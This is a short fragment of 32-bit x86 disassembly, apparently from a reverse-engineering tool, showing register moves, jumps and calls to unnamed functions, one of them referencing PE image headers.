mov eax, dword [esp + 0x2c]
call fcn.00451ff0
mov edi, esi
mov eax, dword [esp + 0x1c]
call fcn.00451ff0
jmp 0x414baa
mov edx, eax
mov eax, dword [esp + 0x20]
call fcn.00451ff0
mov eax, edx
jmp 0x414b80
mov ecx, 0xcc
call fcn.00452080
mov eax, ebx
mov ecx, pe_nt_image_headers32
call fcn.00452070
mov ecx, 5
call fcn.00452070
lea eax, [0x8ca7dd]
mov dword [esp], eax
mov dword [esp + 4], 0x18
call fcn.0042ba70
nop
call fcn.004507b0
jmp fcn.00414a10